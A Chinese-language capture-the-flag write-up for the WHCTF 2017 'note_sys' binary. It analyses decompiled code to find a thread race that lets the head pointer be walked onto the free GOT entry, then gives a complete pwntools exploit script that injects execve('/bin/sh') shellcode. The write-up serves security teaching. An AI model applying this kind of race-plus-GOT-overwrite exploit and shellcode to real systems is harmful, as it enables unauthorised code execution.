WHCTF 2017 note_sys

首先看下保护措施,那我们就可以写shellcode了

1
2
3
4
5
6
gdb-peda$ checksec 
CANARY : ENABLED
FORTIFY : disabled
NX : disabled
PIE : ENABLED
RELRO : Partial

这个题目在新建note的时候和删除note的时候都会新建线程,这就有可能存在条件竞争了,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 newNote()
{
__int64 result; // rax@9
__int64 v1; // rcx@9
char v2; // [sp+Bh] [bp-125h]@2
signed int v3; // [sp+Ch] [bp-124h]@1
pthread_t newthread; // [sp+10h] [bp-120h]@9
char *v5; // [sp+18h] [bp-118h]@1
char s; // [sp+20h] [bp-110h]@1
__int64 v7; // [sp+128h] [bp-8h]@1

v7 = *MK_FP(__FS__, 40LL);
v3 = 250;
v5 = &s;
memset(&s, 0, 0x100uLL);
puts("input your note, no more than 250 characters");
while ( v3 )
{
v2 = getchar();
if ( v2 == '\n' || !v2 || v2 == 0x90u || !v2 )
{
v5 = 0LL;
break;
}
*v5++ = v2;
--v3;
}
pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, &s);
result = 0LL;
v1 = *MK_FP(__FS__, 40LL) ^ v7;
return result;
}

当然delete的时候也会创建线程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 delete()
{
__int64 result; // rax@1
__int64 v1; // rdx@1
pthread_t newthread; // [sp+0h] [bp-10h]@1
__int64 v3; // [sp+8h] [bp-8h]@1

v3 = *MK_FP(__FS__, 40LL);
puts("the last one will be deleted!");
pthread_create(&newthread, 0LL, (void *(*)(void *))deleteThread, 0LL);
result = 0LL;
v1 = *MK_FP(__FS__, 40LL) ^ v3;
return result;
}

删除的时候会睡眠两秒,usleep的单位是微秒(microseconds:即百万分之一秒)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void *__fastcall deleteThread(void *a1)
{
void *result; // rax@2
__int64 v2; // rdx@4
int v3; // [sp+1Ch] [bp-14h]@1
void **v4; // [sp+20h] [bp-10h]@1
__int64 v5; // [sp+28h] [bp-8h]@1

v5 = *MK_FP(__FS__, 40LL);
v4 = (void **)head;
head = (char *)head - 8;
v3 = num - 1;
usleep(2000000u); // 休眠两秒
if ( num <= 0 )
{
puts("too less notes!!");
head = (char *)head + 8;
result = 0LL;
}
else
{
free(*v4);
num = v3;
puts("delete successfully!");
result = 0LL;
}
v2 = *MK_FP(__FS__, 40LL) ^ v5;
return result;
}

可以看到delete的sleep之前会不断将head指针减8,那我们可以让head指针减到指向free

这时候我们再malloc,就可以控制got表的地址,从而执行我们设定好的shellcode

首先head指针初始值为c0结尾

有malloc的时候head+8,所以我们将c0减到0x10,0x18执行free

所以减22次

最终

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

p = process("./8d3f5092-148a-47ef-b9f3-f8b9b02a9137.note_sys")
# p = remote("127.0.0.1", 10000)

def newNote(content):
p.recvuntil("choice:\n")
p.sendline("0")
p.recvuntil("no more than 250 characters\n")
p.sendline(content)
p.recvline()

def deleteNote():
p.recvuntil("choice:\n")
p.sendline("2")
p.recvline()


# 0: 6a 68 push 0x68
# 2: 48 b8 2f 62 69 6e 2f movabs rax,0x732f2f2f6e69622f
# 9: 2f 2f 73
# c: 50 push rax
# d: 48 89 e7 mov rdi,rsp
# 10: 68 72 69 01 01 push 0x1016972
# 15: 81 34 24 01 01 01 01 xor DWORD PTR [rsp],0x1010101
# 1c: 31 f6 xor esi,esi
# 1e: 56 push rsi
# 1f: 6a 08 push 0x8
# 21: 5e pop rsi
# 22: 48 01 e6 add rsi,rsp
# 25: 56 push rsi
# 26: 48 89 e6 mov rsi,rsp
# 29: 31 d2 xor edx,edx
# 2b: 6a 3b push 0x3b
# 2d: 58 pop rax
# 2e: 0f 05 syscall

# if we sub 22,after malloc head will point to free
for x in xrange(0,22):
deleteNote()

# raw_input()
payload = asm(shellcraft.sh())
# print disasm(payload)
# print payload.encode("hex")
newNote(payload)
# raw_input()

p.interactive()
打赏专区